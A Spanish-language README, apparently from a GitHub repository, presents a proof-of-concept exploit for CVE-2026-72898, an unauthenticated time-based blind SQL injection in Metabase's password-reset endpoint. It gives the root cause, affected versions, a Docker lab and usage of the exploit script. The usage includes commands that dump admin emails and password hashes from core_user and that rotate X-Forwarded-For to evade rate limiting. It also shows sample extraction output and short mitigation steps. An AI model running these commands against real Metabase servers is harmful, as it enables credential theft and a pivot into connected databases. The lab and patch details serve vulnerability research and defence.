
Exploit de inyección SQL ciega no autenticada para Metabase, que aprovecha una inyección SQL cruda en el endpoint de restablecimiento de contraseña para extraer datos mediante técnicas basadas en tiempo.
★ CVE-2026-72898 PoC de inyección SQL ciega no autenticada en /api/session/reset_password de Metabase ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898 es una inyección SQL no autenticada en Metabase (CVSS 10.0) accesible a través del endpoint público
POST /api/session/reset_password. El endpoint fusiona el cuerpo de la solicitud con el resultado de la autenticación (fallida) —(merge request (authenticate ...))— por lo que un campouser-idproporcionado por el atacante sobrevive intacto y llega a la consulta de usuario de la base de datos de la aplicaciónt2/select-one :model/User :id user-idsin validación de enteros. Metabase construye SQL con HoneySQL, cuyo mapa{:raw "..."}se compila como un fragmento SQL sin procesar (sin vinculación de parámetros). Enviaruser-idcomo{"raw":"<SQL>"}por lo tanto inyecta SQL arbitrario en la base de datos de la aplicación. El endpoint siempre devuelve400, por lo que la inyección es ciega; los datos se recuperan basados en tiempo conpg_sleep(la base de datos de aplicación Postgres estándar de producción). La explotación exitosa produce datos de administración de Metabase, credenciales de conexión almacenadas para cada fuente de datos adjunta y un pivote completo hacia esas bases de datos.
| Categoría | Versión |
|---|---|
| Vulnerable | Metabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| Parcheada | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 o posterior |
pos-int? para que un user-id no entero sea rechazado antes de la consultaConstruye y ejecuta la Metabase vulnerable. Utiliza una base de datos de aplicación Postgres (requerida — la
técnica basada en tiempo necesita pg_sleep, del que H2 carece) y completa automáticamente la configuración inicial para que
arranque en una página de inicio de sesión. El arranque tarda ~40–60 segundos.
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| Precondición | Estado en este laboratorio |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
Base de datos de aplicación Postgres (habilita pg_sleep) | incluida en la imagen |
/api/session/reset_password accesible sin autenticación | expuesto |
| Límite de restablecimiento por IP (evadido rotando X-Forwarded-For) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
El exploit metabase_exploit.py lee cualquier valor al que lo apuntes, sin credenciales, usando
la primitiva ciega basada en tiempo. Envía un X-Forwarded-For aleatorio nuevo por solicitud para eludir el
límite de velocidad por IP (como hicieron los ataques en la naturaleza). Elige el objetivo con --extract "<SQL>".
# por defecto: extrae el correo del administrador
python3 metabase_exploit.py 172.17.0.2:3000
# extrae lo que quieras (cualquier expresión SQL escalar)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] target http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRACTED: [email protected]
Opciones:
--check — solo confirma que la inyección es explotable (muestra la diferencia de tiempo de pg_sleep)--extract "<SQL>" — cualquier expresión SQL escalar (convertida a texto automáticamente)--sleep 0.4 — retraso por bit TRUE (auméntalo en un objetivo lento/remoto)POST /api/session/reset_password en un proxy/WAFcore_session), revisa las cuentas de administrador y las claves API, y rota las credenciales de conexión de cada fuente de datos adjunta (asume que fueron expuestas si el endpoint era accesible desde internet)